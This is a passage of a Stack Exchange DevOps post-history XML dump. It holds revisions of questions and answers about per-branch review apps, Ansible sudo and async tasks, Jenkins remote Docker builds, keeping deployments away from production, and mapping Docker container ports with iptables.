resources omitted for brevity...&#xD;&#xA;&#xD;&#xA;  Route53:&#xD;&#xA;    Type: AWS::Route53::RecordSet&#xD;&#xA;    Properties:&#xD;&#xA;      Name: !Sub&#xD;&#xA;        - &quot;my-app-${Branch}.${Environment}.${Zone}&quot;&#xD;&#xA;      HostedZoneName: !Ref Zone&#xD;&#xA;      Type: A&#xD;&#xA;      AliasTarget:&#xD;&#xA;        HostedZoneId: !GetAtt ALB.CanonicalHostedZoneID&#xD;&#xA;        DNSName: !GetAtt ALB.DNSName&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Here we create a DNS record that is very specific to the branch. The DNS record resolves to a load balancer which should point to the containers deployed by the pipeline for this branch. The stack name is also specific to the branch, so pipelines on other branches will not affect it. The end result is that each feature branch will have a dedicated URL (`https://my-app-my-feature.dev.example.com`) that your developers can use to test and showcase to stakeholders.&#xD;&#xA;&#xD;&#xA;&gt;Should we create 6 new servers/containers if we only make changes in application A?&#xD;&#xA;&#xD;&#xA;No. This isn't specifically related to Review Apps, but microservices in general should be self-contained: decoupled from each other so that they can be deployed in isolation. Removing dependencies and making small changes will increase your development/deployment velocity.&#xD;&#xA;&#xD;&#xA;## Considerations&#xD;&#xA;### Cleanup&#xD;&#xA;&#xD;&#xA;What happens when you merge or delete your branch? Without setting up some kind of cleanup, those containers and DNS records will sit around forever. You need some kind of cleanup. Something that just runs periodically and deletes resources associated to old branches is pretty simple to write, or you could take webhooks from your git server and delete those resources on an event.&#xD;&#xA;&#xD;&#xA;### Databases&#xD;&#xA;&#xD;&#xA;Some resources may not warrant getting deployed per-branch, although this should be the exception rather than the norm. You probably don't want to deploy a new database every time someone makes a branch (perhaps unless you have a good schema management tool and DB population scripts). You can have all deployments connect back to the same DB. Ensure that any changes you make to the schema are backwards compatible at least one version behind.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23440" PostHistoryTypeId="5" PostId="8063" RevisionGUID="34d204c0-f06f-4abb-8b2b-639e911a594a" CreationDate="2019-05-10T00:59:40.283" UserId="739" Comment="formatting code" Text="I met the same situation. I have `login1` for my machine, passwordless sudo and `login2`, under which I should perform some actions. I did not solve it by ansible means. But I made such a workaround:&#xD;&#xA;&#xD;&#xA;    - name: &quot;Install nvm&quot;&#xD;&#xA;      shell: sudo -u buildkite-agent bash -c &quot;&lt;my commands to be performed on behalf of buildkite-agent&gt;&quot;&#xD;&#xA;      become: true&#xD;&#xA;&#xD;&#xA;Such a case:&#xD;&#xA;&#xD;&#xA;    - name: &quot;Install nvm&quot;&#xD;&#xA;      shell: sudo -u buildkite-agent &lt;my commands to be performed on behalf of buildkite-agent&gt;&#xD;&#xA;      become: true&#xD;&#xA;&#xD;&#xA;do not change home to `buildkite-agent`'s home, i.e. uses `/root` as home." ContentLicense="CC BY-SA 4.0" />
  <row Id="23441" PostHistoryTypeId="50" PostId="6781" RevisionGUID="83a75ab6-467e-43ba-8504-c4bc86cee38b" CreationDate="2019-05-10T01:01:45.340" UserId="-1" />
  <row Id="23442" PostHistoryTypeId="5" PostId="3080" RevisionGUID="970c205d-3731-4f57-8866-6e5f2cd9c57a" CreationDate="2019-05-10T01:14:28.923" UserId="6082" Comment="service mesh use" Text="Actually, one missing point here is the horizontal scalability. There's an article from Jamie Alquiza long time ago addressed this:&#xD;&#xA;&#xD;&#xA;http://archive.is/pDzz0&#xD;&#xA;&#xD;&#xA;In short, you scale your php-fpm horizontally for reaching higher performance. Scaling Nginx+php-fpm together does not bring you any benefit. I encourage you do some stress testing (e.g. Tsung, Gatling, etc.; please don't do Apache ab, that is a very old toy) yourself to verify what the article stated. I personally have several real world experiences proved the article is true in general.&#xD;&#xA;&#xD;&#xA;But there're two drawback (maybe not for Kubernetes) for bare metal machines / VMs: &#xD;&#xA;&#xD;&#xA;1. How to configure Nginx dynamically discover php-fpm container changes? This is the easy part.&#xD;&#xA;2. How do we share the same volume / file systems after scaling? Nginx and php-fpm containers should read exact the same content to reach consistency. This leaves you the least puzzle part (and most fun part) to work on.&#xD;&#xA;&#xD;&#xA;EDITED: Now it's almost half of year 2019. Old model, php-fpm+nginx in the same pod, has different usage. If you're familiar with service mesh, then nginx (or what so call Nginmesh) serves as a sidecar to handle east-west bound traffic. East-west bound traffic mostly used to authenticate among services, or other fancy functionalities, whereas pure php-fpm could not do that along." ContentLicense="CC BY-SA 4.0" />
  <row Id="23443" PostHistoryTypeId="50" PostId="6759" RevisionGUID="2a6b6c19-ed21-4081-a332-722f4a6c0854" CreationDate="2019-05-10T02:03:05.503" UserId="-1" />
  <row Id="23444" PostHistoryTypeId="2" PostId="8077" RevisionGUID="3195da46-d287-4b75-bd35-3b8d48b56bfd" CreationDate="2019-05-10T02:28:47.740" UserId="14874" Text="I am still learning about DevOps, I was wondering in Academia the workloads can often be quite heavy, I noticed there are variations on the DevOps methodology, is e.g. stuff like: DataOps and DevSecOps. I was wondering if there was something like StudentOps or similar to this especially targetted to the more scientific and computer science like subjects? I have noticed a similar question: https://devops.stackexchange.com/questions/6719/devops-in-research-and-science-projects but this does not explain why additionally one has not been developed for academia?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23445" PostHistoryTypeId="1" PostId="8077" RevisionGUID="3195da46-d287-4b75-bd35-3b8d48b56bfd" CreationDate="2019-05-10T02:28:47.740" UserId="14874" Text="Is there a DevOps methodology aimed towards academia and students?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23446" PostHistoryTypeId="3" PostId="8077" RevisionGUID="3195da46-d287-4b75-bd35-3b8d48b56bfd" CreationDate="2019-05-10T02:28:47.740" UserId="14874" Text="&lt;academia&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23449" PostHistoryTypeId="50" PostId="6827" RevisionGUID="a8d91df4-85bf-4961-9848-088add50545c" CreationDate="2019-05-10T08:01:00.357" UserId="-1" />
  <row Id="23452" PostHistoryTypeId="2" PostId="8079" RevisionGUID="4f7fdb1c-b055-4749-b3e4-8caa65f9fc36" CreationDate="2019-05-10T08:37:01.517" UserId="14881" Text="I am trying to run my build inside a docker; but I don't want the docker to run on the jenkins master but on another server that has docker running.&#xD;&#xA;&#xD;&#xA;What does work:&#xD;&#xA;&#xD;&#xA; - inside jenkins configure a docker Cloud to connect to docker server (using tcp://my-server:4243)&#xD;&#xA; - configure a docker agent template for certain docker images and assign labels to those docker containers&#xD;&#xA; - in my build I specify that I want the build to run on that label&#xD;&#xA;&#xD;&#xA;What does not work:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;            agent any&#xD;&#xA;            stages {&#xD;&#xA;                    stage('test') {&#xD;&#xA;                            steps { script {&#xD;&#xA;                                    withDockerServer([uri: 'tcp://my-server:4243']) {&#xD;&#xA;                                            withDockerContainer([image: 'alpine']) {&#xD;&#xA;                                                    sh &quot;whoami; pwd; ls /usr/local/bin&quot;&#xD;&#xA;                                            }&#xD;&#xA;                                    }&#xD;&#xA;                            } }&#xD;&#xA;                    }&#xD;&#xA;            }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;in this case I get errors:&#xD;&#xA;&#xD;&#xA;    Caused: java.io.IOException: Cannot run program &quot;docker&quot;: error=2, No such file or directory&#xD;&#xA;&#xD;&#xA;since docker is not installed on my jenkins master; this means he is trying to execute the docker image on my jenkins master and not on my-server... any tips?&#xD;&#xA;&#xD;&#xA;I am using:&#xD;&#xA;&#xD;&#xA; - jenkins 2.150.3&#xD;&#xA; - docker plugin 1.1.6&#xD;&#xA; - docker pipeline 1.17" ContentLicense="CC BY-SA 4.0" />
  <row Id="23453" PostHistoryTypeId="1" PostId="8079" RevisionGUID="4f7fdb1c-b055-4749-b3e4-8caa65f9fc36" CreationDate="2019-05-10T08:37:01.517" UserId="14881" Text="Jenkins run build in docker on server (withDockerServer not working)" ContentLicense="CC BY-SA 4.0" />
  <row Id="23454" PostHistoryTypeId="3" PostId="8079" RevisionGUID="4f7fdb1c-b055-4749-b3e4-8caa65f9fc36" CreationDate="2019-05-10T08:37:01.517" UserId="14881" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23455" PostHistoryTypeId="5" PostId="8079" RevisionGUID="08193aa9-8440-4a0e-9363-0f906b1bc441" CreationDate="2019-05-10T08:45:43.983" UserId="14881" Comment="added 459 characters in body" Text="I am trying to run my build inside a docker; but I don't want the docker to run on the jenkins master but on another server that has docker running.&#xD;&#xA;&#xD;&#xA;What does work:&#xD;&#xA;&#xD;&#xA; - inside jenkins configure a docker Cloud to connect to docker server (using tcp://my-server:4243)&#xD;&#xA; - configure a docker agent template for certain docker images and assign labels to those docker containers&#xD;&#xA; - in my build I specify that I want the build to run on that label&#xD;&#xA;&#xD;&#xA;What does not work:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;            agent any&#xD;&#xA;            stages {&#xD;&#xA;                    stage('test') {&#xD;&#xA;                            steps { script {&#xD;&#xA;                                    withDockerServer([uri: 'tcp://my-server:4243']) {&#xD;&#xA;                                            withDockerContainer([image: 'alpine']) {&#xD;&#xA;                                                    sh &quot;whoami; pwd; ls /usr/local/bin&quot;&#xD;&#xA;                                            }&#xD;&#xA;                                    }&#xD;&#xA;                            } }&#xD;&#xA;                    }&#xD;&#xA;            }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;in this case I get errors:&#xD;&#xA;&#xD;&#xA;    Caused: java.io.IOException: Cannot run program &quot;docker&quot;: error=2, No such file or directory&#xD;&#xA;&#xD;&#xA;since docker is not installed on my jenkins master; this means he is trying to execute the docker image on my jenkins master and not on my-server... any tips?&#xD;&#xA;&#xD;&#xA;I am using:&#xD;&#xA;&#xD;&#xA; - jenkins 2.150.3&#xD;&#xA; - docker plugin 1.1.6&#xD;&#xA; - docker pipeline 1.17&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;even with scripted pipeline this does not work:&#xD;&#xA;&#xD;&#xA;    node('master') {&#xD;&#xA;            withDockerServer([uri: 'tcp://my-server:4243']) {&#xD;&#xA;                    withDockerContainer([image: 'alpine']) {&#xD;&#xA;                            sh &quot;whoami; pwd; ls /usr/local/bin&quot;&#xD;&#xA;                    }&#xD;&#xA;            }       &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;he is still ignoring `withDockerServer` (it is shown in the pipeline.log, but the docker command is still run on jenkins master)" ContentLicense="CC BY-SA 4.0" />
  <row Id="23456" PostHistoryTypeId="2" PostId="8080" RevisionGUID="9fe723b6-ad5f-423e-b6e4-c5fbcb4f3240" CreationDate="2019-05-10T09:10:51.087" UserId="14881" Text="apparently `docker` needs to be installed on jenkins master in order for jenkins to be able to launch the docker on the server.&#xD;&#xA;&#xD;&#xA;After installation of `docker` (even without the `docker` daemon running on jenkins master); jenkins was able to launch the docker on **my-server**." ContentLicense="CC BY-SA 4.0" />
  <row Id="23457" PostHistoryTypeId="5" PostId="8079" RevisionGUID="477f91c6-3087-4b50-915f-7c379010a73d" CreationDate="2019-05-10T09:29:35.700" UserId="14881" Comment="added 118 characters in body" Text="I am trying to run my build inside a docker; but I don't want the docker to run on the jenkins master but on another server that has docker running.&#xD;&#xA;&#xD;&#xA;What does work:&#xD;&#xA;&#xD;&#xA; - inside jenkins configure a docker Cloud to connect to docker server (using tcp://my-server:4243)&#xD;&#xA; - configure a docker agent template for certain docker images and assign labels to those docker containers (these need to be containers with sshd running; java installed etc such that they can be connected as jenkins slaves)&#xD;&#xA; - in my build I specify that I want the build to run on that label&#xD;&#xA;&#xD;&#xA;What does not work:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;            agent any&#xD;&#xA;            stages {&#xD;&#xA;                    stage('test') {&#xD;&#xA;                            steps { script {&#xD;&#xA;                                    withDockerServer([uri: 'tcp://my-server:4243']) {&#xD;&#xA;                                            withDockerContainer([image: 'alpine']) {&#xD;&#xA;                                                    sh &quot;whoami; pwd; ls /usr/local/bin&quot;&#xD;&#xA;                                            }&#xD;&#xA;                                    }&#xD;&#xA;                            } }&#xD;&#xA;                    }&#xD;&#xA;            }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;in this case I get errors:&#xD;&#xA;&#xD;&#xA;    Caused: java.io.IOException: Cannot run program &quot;docker&quot;: error=2, No such file or directory&#xD;&#xA;&#xD;&#xA;since docker is not installed on my jenkins master; this means he is trying to execute the docker image on my jenkins master and not on my-server... any tips?&#xD;&#xA;&#xD;&#xA;I am using:&#xD;&#xA;&#xD;&#xA; - jenkins 2.150.3&#xD;&#xA; - docker plugin 1.1.6&#xD;&#xA; - docker pipeline 1.17&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;even with scripted pipeline this does not work:&#xD;&#xA;&#xD;&#xA;    node('master') {&#xD;&#xA;            withDockerServer([uri: 'tcp://my-server:4243']) {&#xD;&#xA;                    withDockerContainer([image: 'alpine']) {&#xD;&#xA;                            sh &quot;whoami; pwd; ls /usr/local/bin&quot;&#xD;&#xA;                    }&#xD;&#xA;            }       &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;he is still ignoring `withDockerServer` (it is shown in the pipeline.log, but the docker command is still run on jenkins master)" ContentLicense="CC BY-SA 4.0" />
  <row Id="23458" PostHistoryTypeId="5" PostId="5023" RevisionGUID="2a6cc162-511c-447b-bcd1-b79da85abf5b" CreationDate="2019-05-10T10:20:29.863" UserId="9904" Comment="edited body" Text="As @webKnja mentioned this is possible with `async` mode. I have recently discovered it myself and learned that you can use it in 3 different ways depending on your needs.&#xD;&#xA;&#xD;&#xA;1. **Execute and poll** the results, notice the `poll:5`, This will poll the results every 5 seconds. You may save some time with this method.&#xD;&#xA;&#xD;&#xA;        - name: My long runing task&#xD;&#xA;          some_module_name:&#xD;&#xA;            ip: &quot;{{item.fabric}}&quot;&#xD;&#xA;            username: &quot;{{user}}&quot;&#xD;&#xA;            password: &quot;{{password}}&quot;&#xD;&#xA;            secret: &quot;{{secret}}&quot;&#xD;&#xA;          loop: &quot;{{zoning_list}}&quot;&#xD;&#xA;          register: _alias_vc_0&#xD;&#xA;          async: 60&#xD;&#xA;          poll: 5&#xD;&#xA;&#xD;&#xA;2. **Fire and forget** `poll: 0`, This is very quick option since Ansible it's just shooting out those tasks. The down side is that we don't know what was the outcome of the task i.e. `changed: True/False`. Of course it's a downside if you care about the feedback ;).&#xD;&#xA;&#xD;&#xA;        name: My long runing task&#xD;&#xA;        some_module_name:&#xD;&#xA;          ip: &quot;{{item.fabric}}&quot;&#xD;&#xA;          username: &quot;{{user}}&quot;&#xD;&#xA;          password: &quot;{{password}}&quot;&#xD;&#xA;          secret: &quot;{{secret}}&quot;&#xD;&#xA;        loop: &quot;{{zoning_list}}&quot;&#xD;&#xA;        register: _alias_vc_0&#xD;&#xA;        async: 60&#xD;&#xA;        poll: 0&#xD;&#xA;&#xD;&#xA;3. **Fire and forget with `async_status`**, the syntax for the task is the same as example **2** whowever it will require additional task `async_status`. This is my favorite since it's relatively fast (faster then normal looping or the `execute and poll`) and allows you to capture the feedback although will need to deal with new `register` for your `async_task`.&#xD;&#xA;&#xD;&#xA; `retries: 20` -- how many attempts before failing.&#xD;&#xA;&#xD;&#xA; `delay: 2` -- how many second to wait between polls.&#xD;&#xA;&#xD;&#xA;        - name: My long runing task&#xD;&#xA;          some_module_name:&#xD;&#xA;            ip: &quot;{{item.fabric}}&quot;&#xD;&#xA;            username: &quot;{{user}}&quot;&#xD;&#xA;            password: &quot;{{password}}&quot;&#xD;&#xA;            secret: &quot;{{secret}}&quot;&#xD;&#xA;          loop: &quot;{{zoning_list}}&quot;&#xD;&#xA;          register: _alias_vc_0&#xD;&#xA;          async: 60&#xD;&#xA;          poll: 0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;        - name: Wait for My long running task to finish&#xD;&#xA;          async_status:&#xD;&#xA;            id: &quot;{{ item.ansible_job_id }}&quot;&#xD;&#xA;          register: _jobs_alias_vc_0&#xD;&#xA;          retries: 20&#xD;&#xA;          delay: 2&#xD;&#xA;          until: _jobs_alias_vc_0.finished&#xD;&#xA;          loop: &quot;{{_alias_vc_0.results}}&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**A word of caution**, depending on the task yo may not be able to use the `async` option. I had examples where I was interacting with system which was not able to handle multiple requests for the same resource. I found `async` option best working if I have to perform the same task across multiple hosts. That's where I was able to &quot;save&quot; the most time.&#xD;&#xA;&#xD;&#xA;Since you posted the link to Ansible documentation in the question I'm not going to do that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23459" PostHistoryTypeId="2" PostId="8081" RevisionGUID="20aeb727-f2f9-4565-939b-0dc31a9622e3" CreationDate="2019-05-10T12:04:02.570" UserId="14883" Text="Last night I ran a playbook from a wrong branch that referenced an old inventory file and deployed a dev build to a production machine. What would be a a good practice to avoid such mistake from happening in the future? How can I isolate environments better?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23460" PostHistoryTypeId="1" PostId="8081" RevisionGUID="20aeb727-f2f9-4565-939b-0dc31a9622e3" CreationDate="2019-05-10T12:04:02.570" UserId="14883" Text="Preventing accidental production deployments" ContentLicense="CC BY-SA 4.0" />
  <row Id="23461" PostHistoryTypeId="3" PostId="8081" RevisionGUID="20aeb727-f2f9-4565-939b-0dc31a9622e3" CreationDate="2019-05-10T12:04:02.570" UserId="14883" Text="&lt;ansible&gt;&lt;environments&gt;&lt;ansible-vault&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23462" PostHistoryTypeId="2" PostId="8082" RevisionGUID="2fe0f3d3-e89f-4f93-bee2-aacb51378772" CreationDate="2019-05-10T12:19:56.173" UserId="7715" Text="The best practice is to [separate production and staging(testing) inventory](https://docs.ansible.com/ansible/latest/user_guide/playbooks_best_practices.html#staging-vs-production).  See [Staging vs Production](https://docs.ansible.com/ansible/latest/user_guide/playbooks_best_practices.html#staging-vs-production).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; This way you pick with -i what you are targeting.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23463" PostHistoryTypeId="5" PostId="8082" RevisionGUID="c00cb6a9-e09f-4427-a486-52fda8cb7d08" CreationDate="2019-05-10T12:28:29.427" UserId="7715" Comment="added 161 characters in body" Text="The best practice is to [separate production and staging(testing) inventory](https://docs.ansible.com/ansible/latest/user_guide/playbooks_best_practices.html#staging-vs-production).  See [Staging vs Production](https://docs.ansible.com/ansible/latest/user_guide/playbooks_best_practices.html#staging-vs-production).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; This way you pick with -i what you are targeting.&#xD;&#xA;&#xD;&#xA;To make it more robust you might want to clone a separate structure for production and restrict access to it. Pull from staging before deploying to production." ContentLicense="CC BY-SA 4.0" />
  <row Id="23464" PostHistoryTypeId="5" PostId="8082" RevisionGUID="721ac130-2f89-4047-8962-9c1a3cdf96b2" CreationDate="2019-05-10T12:37:13.113" UserId="7715" Comment="added 161 characters in body" Text="The best practice is to [separate production and staging(testing) inventory](https://docs.ansible.com/ansible/latest/user_guide/playbooks_best_practices.html#staging-vs-production).  See [Staging vs Production](https://docs.ansible.com/ansible/latest/user_guide/playbooks_best_practices.html#staging-vs-production).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; This way you pick with -i what you are targeting.&#xD;&#xA;&#xD;&#xA;To make it more robust you might want to clone a separate structure for production and restrict access to it. Pull from staging before deploying to production.&#xD;&#xA;&#xD;&#xA;In detail, this would mean to 1) put the [directories](https://docs.ansible.com/ansible/latest/user_guide/playbooks_best_practices.html#directory-layout) into git, 2) make sure staging is committed and pushed, and 3) then pull to the production and deploy." ContentLicense="CC BY-SA 4.0" />
  <row Id="23465" PostHistoryTypeId="5" PostId="8082" RevisionGUID="a0cfa7da-f275-4317-9eb9-318f4a2d28a6" CreationDate="2019-05-10T12:42:42.607" UserId="7715" Comment="added 161 characters in body" Text="The best practice is to [separate production and staging(testing) inventory](https://docs.ansible.com/ansible/latest/user_guide/playbooks_best_practices.html#staging-vs-production).  See [Staging vs Production](https://docs.ansible.com/ansible/latest/user_guide/playbooks_best_practices.html#staging-vs-production).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; This way you pick with -i what you are targeting.&#xD;&#xA;&#xD;&#xA;To make it more robust you might want to clone a separate structure for production and restrict access to it. Pull from staging before deploying to production.&#xD;&#xA;&#xD;&#xA;In detail, this would mean to 1) put the [directories](https://docs.ansible.com/ansible/latest/user_guide/playbooks_best_practices.html#directory-layout) into git, 2) make sure staging is committed, pushed and merged, and 3) then pull to the production and deploy. The [workflow](https://git-scm.com/book/en/v2/Git-Branching-Branching-Workflows) is up to you." ContentLicense="CC BY-SA 4.0" />
  <row Id="23466" PostHistoryTypeId="2" PostId="8083" RevisionGUID="db9eb3c5-88cb-41d6-9fd3-4ec80ad20bf6" CreationDate="2019-05-10T13:16:13.070" UserId="14884" Text="Let's consider two docker conatiner named `app` and `mysql`.&#xD;&#xA;I am looking for a way, where I can map `app` and `mysql` ports, so that if I try to connect to `mysql` from `web`, using `localhost:3306` it can connect.&#xD;&#xA;&#xD;&#xA;I know I can connect using `dns` and `docker network`. But I am curious if there is a way to do this.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23467" PostHistoryTypeId="1" PostId="8083" RevisionGUID="db9eb3c5-88cb-41d6-9fd3-4ec80ad20bf6" CreationDate="2019-05-10T13:16:13.070" UserId="14884" Text="Is there a way to map ports two docker container" ContentLicense="CC BY-SA 4.0" />
  <row Id="23468" PostHistoryTypeId="3" PostId="8083" RevisionGUID="db9eb3c5-88cb-41d6-9fd3-4ec80ad20bf6" CreationDate="2019-05-10T13:16:13.070" UserId="14884" Text="&lt;docker&gt;&lt;networking&gt;&lt;ports&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23469" PostHistoryTypeId="50" PostId="6811" RevisionGUID="dea5b3a8-ab0c-4beb-a237-e7e8eb5d9126" CreationDate="2019-05-10T14:02:00.363" UserId="-1" />
  <row Id="23470" PostHistoryTypeId="5" PostId="8081" RevisionGUID="052dbc63-3122-4e4f-a1e7-632830137729" CreationDate="2019-05-10T14:21:58.530" UserId="14883" Comment="added 30 characters in body" Text="Last night I ran a playbook from a wrong branch that referenced an old inventory file with old IPs for each server, and deployed a dev build to a production machine. What would be a a good practice to avoid such mistake from happening in the future? How can I isolate environments better?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23471" PostHistoryTypeId="2" PostId="8084" RevisionGUID="e5bc0d14-9766-4e2e-9b39-40487d78f51f" CreationDate="2019-05-10T14:34:49.520" UserId="14885" Text="On Linux, containers live in separate network namespaces, so localhost or 127.0.0.1 on the container is not localhost on the host. I'm not sure about other OSes. You could expose a port to the host like this:&#xD;&#xA;&#xD;&#xA;    docker run -p 3306:3306 mysql&#xD;&#xA;&#xD;&#xA;Then you can access it from any container at the host IP address, which for the default network is 172.17.0.1:3306.&#xD;&#xA;&#xD;&#xA;All that the -p does on Linux, is essentially:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    sudo iptables -t nat -A DOCKER \! -i docker0 -p tcp --dport 3306 -j DNAT --to 172.17.0.2:3306&#xD;&#xA;&#xD;&#xA;(Or whatever your mysql container IP address is.) Docker compose and similar utilities make containers able to see each other with **--link** eg.&#xD;&#xA;&#xD;&#xA;    docker run --link web --link mysql:localmysql app&#xD;&#xA;&#xD;&#xA;The only thing this does is to put the correct IP address for the container in a file called /etc/hosts (but this might change in future.) &#xD;&#xA;&#xD;&#xA;If you want to use --link, all containers need to be on the same network. You can connect them while running with:&#xD;&#xA;&#xD;&#xA;    docker network connect mynet web&#xD;&#xA;&#xD;&#xA;The main reason for doing this is because the containers don't have fixed IP addresses. You can do:&#xD;&#xA;&#xD;&#xA;    docker run --network mynet --ip 172.18.0.10 -d app&#xD;&#xA;&#xD;&#xA;To give your container a static IP - and then just use that instead of the name. The docker team keeps changing how things work, so you might need to run additional commands to allow different networks to connect to each other. &#xD;&#xA;&#xD;&#xA;You can of course also do all of this manually, on Linux, using the firewall, on the host machine. (Start learning about it here: https://www.google.com/search?q=iptables (Also look at the Images tab!)&#xD;&#xA;&#xD;&#xA;    iptables -nvxL # shows the filter table&#xD;&#xA;    iptables -nvxL -t nat # shows the NAT table where port forwarding is done&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;To dynamically forward a port to a container, get its IP address, eg 172.18.0.10, then:&#xD;&#xA;&#xD;&#xA;    iptables -t nat -A POSTROUTING -p tcp --dport 1234 -j DNAT --to 172.18.0.10:4567&#xD;&#xA;&#xD;&#xA;Be keenly aware that if you do this, and your container restarts, or gets another IP address, that this will not automatically update, and unless you use iptables-save and iptables-restore in your startup and cron scripts, these manually created rules will disappear. Also that the docker command and compose scripts won't know about any configuration that you manually add like this." ContentLicense="CC BY-SA 4.0" />
  <row Id="23472" PostHistoryTypeId="5" PostId="8084" RevisionGUID="f4ab9dbe-724f-483b-986f-28d9d53b64c3" CreationDate="2019-05-10T14:58:44.133" UserId="14885" Comment="added 72 characters in body" Text="On Linux, containers live in separate network namespaces, so localhost or 127.0.0.1 on the container is not localhost on the host. I'm not sure about other OSes. You could expose a port to the host like this:&#xD;&#xA;&#xD;&#xA;    docker run -p 3306:3306 mysql&#xD;&#xA;&#xD;&#xA;Then you can access it from any container at the host IP address, which for the default network is 172.17.0.1:3306. You can add -p many times, read the docs here: https://docs.docker.com/&#xD;&#xA;&#xD;&#xA;All that the -p does on Linux, is essentially:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    sudo iptables -t nat -A DOCKER \! -i docker0 -p tcp --dport 3306 -j DNAT --to 172.17.0.2:3306&#xD;&#xA;&#xD;&#xA;(Or whatever your mysql container IP address is.) Docker compose and similar utilities make containers able to see each other with **--link** eg.&#xD;&#xA;&#xD;&#xA;    docker run --link web --link mysql:localmysql app&#xD;&#xA;&#xD;&#xA;The only thing this does is to put the correct IP address for the container in a file called /etc/hosts (but this might change in future.) &#xD;&#xA;&#xD;&#xA;If you want to use --link, all containers need to be on the same network. You can connect them while running with:&#xD;&#xA;&#xD;&#xA;    docker network connect mynet web&#xD;&#xA;&#xD;&#xA;The main reason for doing this is because the containers don't have fixed IP addresses. You can do:&#xD;&#xA;&#xD;&#xA;    docker run --network mynet --ip 172.18.0.10 -d app&#xD;&#xA;&#xD;&#xA;To give your container a static IP - and then just use that instead of the name. The docker team keeps changing how things work, so you might need to run additional commands to allow different networks to connect to each other. &#xD;&#xA;&#xD;&#xA;You can of course also do all of this manually, on Linux, using the firewall, on the host machine. (Start learning about it here: https://www.google.com/search?q=iptables (Also look at the Images tab!)&#xD;&#xA;&#xD;&#xA;    iptables -nvxL # shows the filter table&#xD;&#xA;    iptables -nvxL -t nat # shows the NAT table where port forwarding is done&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;To dynamically forward a port to a container, get its IP address, eg 172.18.0.10, then:&#xD;&#xA;&#xD;&#xA;    iptables -t nat -A POSTROUTING -p tcp --dport 1234 -j DNAT --to 172.18.0.10:4567&#xD;&#xA;&#xD;&#xA;Be keenly aware that if you do this, and your container restarts, or gets another IP address, that this will not automatically update, and unless you use iptables-save and iptables-restore in your startup and cron scripts, these manually created rules will disappear. Also that the docker command and compose scripts won't know about any configuration that you manually add like this." ContentLicense="CC BY-SA 4.0" />
  <row Id="23473" PostHistoryTypeId="5" PostId="8084" RevisionGUID="1bb4f50d-2f0e-42b1-b3b6-577c6f0345ff" CreationDate="2019-05-10T15:04:05.200" UserId="14885" Comment="added 72 characters in body" Text="On Linux, containers live in separate network namespaces, so localhost or 127.0.0.1 on the container is not localhost on the host. I'm not sure about other OSes. You could expose a port to the host like this:&#xD;&#xA;&#xD;&#xA;    docker run -p 3306:3306 mysql&#xD;&#xA;&#xD;&#xA;Then you can access it from any container at the host IP address, which for the default network is 172.17.0.1:3306. You can add -p many times, read the docs here: https://docs.docker.com/&#xD;&#xA;&#xD;&#xA;All that the -p does on Linux, is essentially:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    sudo iptables -t nat -A DOCKER \! -i docker0 -p tcp --dport 3306 -j DNAT --to 172.17.0.2:3306&#xD;&#xA;&#xD;&#xA;(Or whatever your mysql container IP address is.) Docker compose and similar utilities make containers able to see each other with **--link** eg.&#xD;&#xA;&#xD;&#xA;    docker run --link web --link mysql:localmysql app&#xD;&#xA;&#xD;&#xA;The only thing this does is to put the correct IP address for the container in a file called /etc/hosts inside the container (but this might change in future.) &#xD;&#xA;&#xD;&#xA;If you want to use --link, all containers need to be on the same network. You can connect them while running with:&#xD;&#xA;&#xD;&#xA;    docker network connect mynet web&#xD;&#xA;&#xD;&#xA;The main reason for doing this is because the containers don't have fixed IP addresses. You can do:&#xD;&#xA;&#xD;&#xA;    docker run --network mynet --ip 172.18.0.10 -d app&#xD;&#xA;&#xD;&#xA;To give your container a static IP - and then just use that instead of the name. The docker team keeps changing how things work, so you might need to run additional commands to allow different networks to connect to each other. &#xD;&#xA;&#xD;&#xA;You can of course also do all of this manually, on Linux, using the firewall, on the host machine. (Start learning about it here: https://www.google.com/search?q=iptables (Also look at the Images tab!)&#xD;&#xA;&#xD;&#xA;    iptables -nvxL # shows the filter table&#xD;&#xA;    iptables -nvxL -t nat # shows the NAT table where port forwarding is done&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;To dynamically forward a port to a container, get its IP address, eg 172.18.0.10, then:&#xD;&#xA;&#xD;&#xA;    iptables -t nat -A POSTROUTING -p tcp --dport 1234 -j DNAT --to 172.18.0.10:4567&#xD;&#xA;&#xD;&#xA;Be keenly aware that 